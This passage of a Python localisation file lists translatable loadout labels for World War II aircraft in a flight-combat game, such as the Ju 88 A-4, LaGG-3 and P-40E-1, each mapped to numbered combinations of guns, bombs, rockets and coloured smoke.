pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'ju 87 d-3': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], SC 250 [1], SD 70 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], SC 500 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], SC 500 [1], SD 70 [4]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], SC 500 [1], SC 250 [2]'), 5: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], SC 250 [3]'), 6: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], SC 1000 [1]'), 7: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], SC 1800 [1]'), 8: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], WB 81 B AP [3000]'), 9: pgettext_lazy('aircraft_payload', 'BK 3.7 AP [24]'), 10: pgettext_lazy('aircraft_payload', 'BK 3.7 HE [24]'), 11: pgettext_lazy('aircraft_payload', 'Empty'), 12: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'ju 88 a-4': { 0: pgettext_lazy('aircraft_payload', 'SC 250 [4]'), 1: pgettext_lazy('aircraft_payload', 'SC 250 [6]'), 2: pgettext_lazy('aircraft_payload', 'SC 50 [28]'), 3: pgettext_lazy('aircraft_payload', 'SC 50 [44]'), 4: pgettext_lazy('aircraft_payload', 'SC 250 [4], SC 50 [28]'), 5: pgettext_lazy('aircraft_payload', 'SC 250 [6], SC 50 [28]'), 6: pgettext_lazy('aircraft_payload', 'SC 500 [4]'), 7: pgettext_lazy('aircraft_payload', 'SC 500 [4], SC 250 [2]'), 8: pgettext_lazy('aircraft_payload', 'SC 500 [4], SC 50 [18]'), 9: pgettext_lazy('aircraft_payload', 'SC 1000 [2]'), 10: pgettext_lazy('aircraft_payload', 'SC 1800 [1]'), 11: pgettext_lazy('aircraft_payload', 'SC 1800 [1], SC 1000 [1]'), 12: pgettext_lazy('aircraft_payload', 'Empty'), 13: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 23: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 24: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'la-5fn ser.2': { 0: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [340]'), 1: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [340], FAB-50sv [2]'), 2: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [340], FAB-100M [2]'), 3: pgettext_lazy('aircraft_payload', 'SHVAK AP [340]'), 4: pgettext_lazy('aircraft_payload', 'SHVAK AP [340], FAB-50sv [2]'), 5: pgettext_lazy('aircraft_payload', 'SHVAK AP [340], FAB-100M [2]'), 6: pgettext_lazy('aircraft_payload', 'SHVAK HE [340]'), 7: pgettext_lazy('aircraft_payload', 'SHVAK HE [340], FAB-50sv [2]'), 8: pgettext_lazy('aircraft_payload', 'SHVAK HE [340], FAB-100M [2]'), 9: pgettext_lazy('aircraft_payload', 'Empty'), 10: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'la-5 ser.8': { 0: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [340]'), 1: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [340], FAB-50sv [2]'), 2: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [340], FAB-100M [2]'), 3: pgettext_lazy('aircraft_payload', 'SHVAK AP [340]'), 4: pgettext_lazy('aircraft_payload', 'SHVAK AP [340], FAB-50sv [2]'), 5: pgettext_lazy('aircraft_payload', 'SHVAK AP [340], FAB-100M [2]'), 6: pgettext_lazy('aircraft_payload', 'SHVAK HE [340]'), 7: pgettext_lazy('aircraft_payload', 'SHVAK HE [340], FAB-50sv [2]'), 8: pgettext_lazy('aircraft_payload', 'SHVAK HE [340], FAB-100M [2]'), 9: pgettext_lazy('aircraft_payload', 'Empty'), 10: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'lagg-3 ser.29': { 0: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [160]'), 1: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP/HE [90]'), 2: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP [90]'), 3: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 HE [90]'), 4: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP/HE [20]'), 5: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP [20]'), 6: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 HE [20]'), 7: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [160], FAB-50sv [2]'), 8: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP/HE [90], FAB-50sv [2]'), 9: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP [90], FAB-50sv [2]'), 10: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 HE [90], FAB-50sv [2]'), 11: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP/HE [20], FAB-50sv [2]'), 12: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP [20], FAB-50sv [2]'), 13: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 HE [20], FAB-50sv [2]'), 14: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [160], FAB-100M [2]'), 15: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP/HE [90], FAB-100M [2]'), 16: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP [90], FAB-100M [2]'), 17: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 HE [90], FAB-100M [2]'), 18: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP/HE [20], FAB-100M [2]'), 19: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP [20], FAB-100M [2]'), 20: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 HE [20], FAB-100M [2]'), 21: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [160], ROS-82 [6]'), 22: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP/HE [90], ROS-82 [6]'), 23: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP [90], ROS-82 [6]'), 24: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 HE [90], ROS-82 [6]'), 25: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP/HE [20], ROS-82 [6]'), 26: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP [20], ROS-82 [6]'), 27: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 HE [20], ROS-82 [6]'), 28: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [160], ROS-82 [6]'), 29: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP/HE [90], ROS-82 [6]'), 30: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP [90], ROS-82 [6]'), 31: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 HE [90], ROS-82 [6]'), 32: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP/HE [20], ROS-82 [6]'), 33: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP [20], ROS-82 [6]'), 34: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 HE [20], ROS-82 [6]'), 35: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [160], ROS-82 [6]'), 36: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP/HE [90], ROS-82 [6]'), 37: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP [90], ROS-82 [6]'), 38: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 HE [90], ROS-82 [6]'), 39: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP/HE [20], ROS-82 [6]'), 40: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP [20], ROS-82 [6]'), 41: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 HE [20], ROS-82 [6]'), 42: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [160], ROS-82 [6]'), 43: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP/HE [90], ROS-82 [6]'), 44: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 AP [90], ROS-82 [6]'), 45: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], VYA-23 HE [90], ROS-82 [6]'), 46: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP/HE [20], ROS-82 [6]'), 47: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 AP [20], ROS-82 [6]'), 48: pgettext_lazy('aircraft_payload', 'UB AP/HE [140], SH-37 HE [20], ROS-82 [6]'), 49: pgettext_lazy('aircraft_payload', 'Empty'), 50: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 51: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 52: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 53: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 54: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 55: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 56: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 57: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 58: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 59: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 60: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 61: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'mc.202 ser.viii': { 0: pgettext_lazy('aircraft_payload', 'Breda 12.7 AP/HE [800]'), 1: pgettext_lazy('aircraft_payload', 'Breda 12.7 AP/HE [800], 50-T [2]'), 2: pgettext_lazy('aircraft_payload', 'Breda 12.7 AP/HE [800], 100-T [2]'), 3: pgettext_lazy('aircraft_payload', 'Breda 12.7 AP/HE [800], Breda 7.7 AP [1000]'), 4: pgettext_lazy('aircraft_payload', 'Breda 12.7 AP/HE [800], MG 151/20 AP/HE [270]'), 5: pgettext_lazy('aircraft_payload', 'Empty'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'me 262 a': { 0: pgettext_lazy('aircraft_payload', 'MK 108 HE [360]'), 1: pgettext_lazy('aircraft_payload', 'MK 108 HE [160]'), 2: pgettext_lazy('aircraft_payload', 'MK 108 HE [360], R4M Orkan [24]'), 3: pgettext_lazy('aircraft_payload', 'MK 108 HE [360], SC 250 [1]'), 4: pgettext_lazy('aircraft_payload', 'MK 108 HE [360], SC 250 [2]'), 5: pgettext_lazy('aircraft_payload', 'MK 108 HE [360], SC 500 [1]'), 6: pgettext_lazy('aircraft_payload', 'MK 108 HE [160], SC 250 [1]'), 7: pgettext_lazy('aircraft_payload', 'MK 108 HE [160], SC 250 [2]'), 8: pgettext_lazy('aircraft_payload', 'MK 108 HE [160], SC 500 [1]'), 9: pgettext_lazy('aircraft_payload', 'Empty'), 49: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 50: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 51: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 52: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 53: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 54: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 55: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 56: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 57: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 58: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 59: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 60: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'mig-3 ser.24': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300], ROS-82 [6]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300], ROS-82 [6]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300], ROS-82 [6]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300], ROS-82 [6]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300], FAB-50sv [2]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300], FAB-100M [2]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], BS AP/HE [300], BK AP/HE [290]'), 8: pgettext_lazy('aircraft_payload', 'BS AP/HE [700]'), 9: pgettext_lazy('aircraft_payload', 'BS AP/HE [700], ROS-82 [6]'), 10: pgettext_lazy('aircraft_payload', 'BS AP/HE [700], ROS-82 [6]'), 11: pgettext_lazy('aircraft_payload', 'BS AP/HE [700], ROS-82 [6]'), 12: pgettext_lazy('aircraft_payload', 'BS AP/HE [700], ROS-82 [6]'), 13: pgettext_lazy('aircraft_payload', 'BS AP/HE [700], FAB-50sv [2]'), 14: pgettext_lazy('aircraft_payload', 'BS AP/HE [700], FAB-100M [2]'), 15: pgettext_lazy('aircraft_payload', 'BS AP/HE [700], BK AP/HE [290]'), 16: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300]'), 17: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300], ROS-82 [6]'), 18: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300], ROS-82 [6]'), 19: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300], ROS-82 [6]'), 20: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300], ROS-82 [6]'), 21: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300], FAB-50sv [2]'), 22: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300], FAB-100M [2]'), 23: pgettext_lazy('aircraft_payload', 'SHVAK AP/HE [300], BK AP/HE [290]'), 24: pgettext_lazy('aircraft_payload', 'Empty'), 25: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 26: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 27: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 28: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 29: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 30: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 31: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 32: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 33: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 34: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 35: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 36: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'p-38j-25': { 0: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200]'), 1: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000]'), 2: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M64 500 lb [2]'), 3: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M64 500 lb [2]'), 4: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M65 1000 lb [2]'), 5: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M65 1000 lb [2]'), 6: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M66 2000 lb [2]'), 7: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M66 2000 lb [2]'), 8: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M8 4.5 in [6]'), 9: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M8 4.5 in [6]'), 10: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M64 500 lb [2], M8 4.5 in [6]'), 11: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M64 500 lb [2], M8 4.5 in [6]'), 12: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M65 1000 lb [2], M8 4.5 in [6]'), 13: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M65 1000 lb [2], M8 4.5 in [6]'), 14: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M64 500 lb [6]'), 15: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M64 500 lb [6]'), 16: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [1200], M65 1000 lb [4]'), 17: pgettext_lazy('aircraft_payload', 'M2 AP/HE [150], M2.50 AP [2000], M65 1000 lb [4]'), 18: pgettext_lazy('aircraft_payload', 'Empty'), 19: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 23: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 24: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 25: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 26: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 27: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 28: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 29: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 30: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'p-39l-1': { 0: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], M2.30 AP [1200]'), 1: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], M2.30 AP [1200]'), 2: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], M2.30 AP [4000]'), 3: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], M2.30 AP [4000]'), 4: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400]'), 5: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400]'), 6: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], M2.30 AP [1200], FAB-100M [1]'), 7: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], M2.30 AP [1200], FAB-100M [1]'), 8: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], M2.30 AP [4000], FAB-100M [1]'), 9: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], M2.30 AP [4000], FAB-100M [1]'), 10: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], FAB-100M [1]'), 11: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], FAB-100M [1]'), 12: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], M2.30 AP [1200], FAB-250tsk [1]'), 13: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], M2.30 AP [1200], FAB-250tsk [1]'), 14: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], M2.30 AP [4000], FAB-250tsk [1]'), 15: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], M2.30 AP [4000], FAB-250tsk [1]'), 16: pgettext_lazy('aircraft_payload', 'M4 HE [30], M2.50 AP [400], FAB-250tsk [1]'), 17: pgettext_lazy('aircraft_payload', 'M4 AP [30], M2.50 AP [400], FAB-250tsk [1]'), 18: pgettext_lazy('aircraft_payload', 'Empty'), 19: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 23: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 24: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 25: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 26: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 27: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 28: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 29: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 30: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'p-40e-1': { 0: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410]'), 1: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686]'), 2: pgettext_lazy('aircraft_payload', 'M2.50 AP [940]'), 3: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460]'), 4: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], FAB-250sv [1]'), 5: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], FAB-250sv [1]'), 6: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], FAB-250sv [1]'), 7: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], FAB-250sv [1]'), 8: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], FAB-500M [1]'), 9: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], FAB-500M [1]'), 10: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], FAB-500M [1]'), 11: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], FAB-500M [1]'), 12: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], ROS-82 [4]'), 13: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], ROS-82 [4]'), 14: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], ROS-82 [4]'), 15: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], ROS-82 [4]'), 16: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], ROS-82 [4]'), 17: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], ROS-82 [4]'), 18: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], ROS-82 [4]'), 19: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], ROS-82 [4]'), 20: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], ROS-82 [4]'), 21: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], ROS-82 [4]'), 22: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], ROS-82 [4]'), 23: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], ROS-82 [4]'), 24: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], ROS-82 [4]'), 25: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], ROS-82 [4]'), 26: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], ROS-82 [4]'), 27: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], ROS-82 [4]'), 28: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], FAB-250sv [1], ROS-82 [4]'), 29: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], FAB-250sv [1], ROS-82 [4]'), 30: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], FAB-250sv [1], ROS-82 [4]'), 31: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], FAB-250sv [1], ROS-82 [4]'), 32: pgettext_lazy('aircraft_payload', 'M2.50 AP [1410], FAB-500M [1], ROS-82 [4]'), 33: pgettext_lazy('aircraft_payload', 'M2.50 AP [1686], FAB-500M [1], ROS-82 [4]'), 34: pgettext_lazy('aircraft_payload', 'M2.50 AP [940], FAB-500M [1], ROS-82 [4]'), 35: pgettext_lazy('aircraft_payload', 'M2.50 AP [2460], FAB-500M [1], ROS-82 [4]'), 36: pgettext_lazy('aircraft_payload', 'Empty'), 37: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 38: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 39: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 40: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 41: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 42: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 43: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 44: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 45: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 46: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 47: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 48: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'p-47d-28': { 0: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136]'), 1: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602]'), 2: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068]'), 3: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400]'), 4: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550]'), 5: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700]'), 6: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M64 500 lb [1]'), 7: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M64 500 lb [1]'), 8: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M64 500 lb [1]'), 9: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M64 500 lb [1]'), 10: 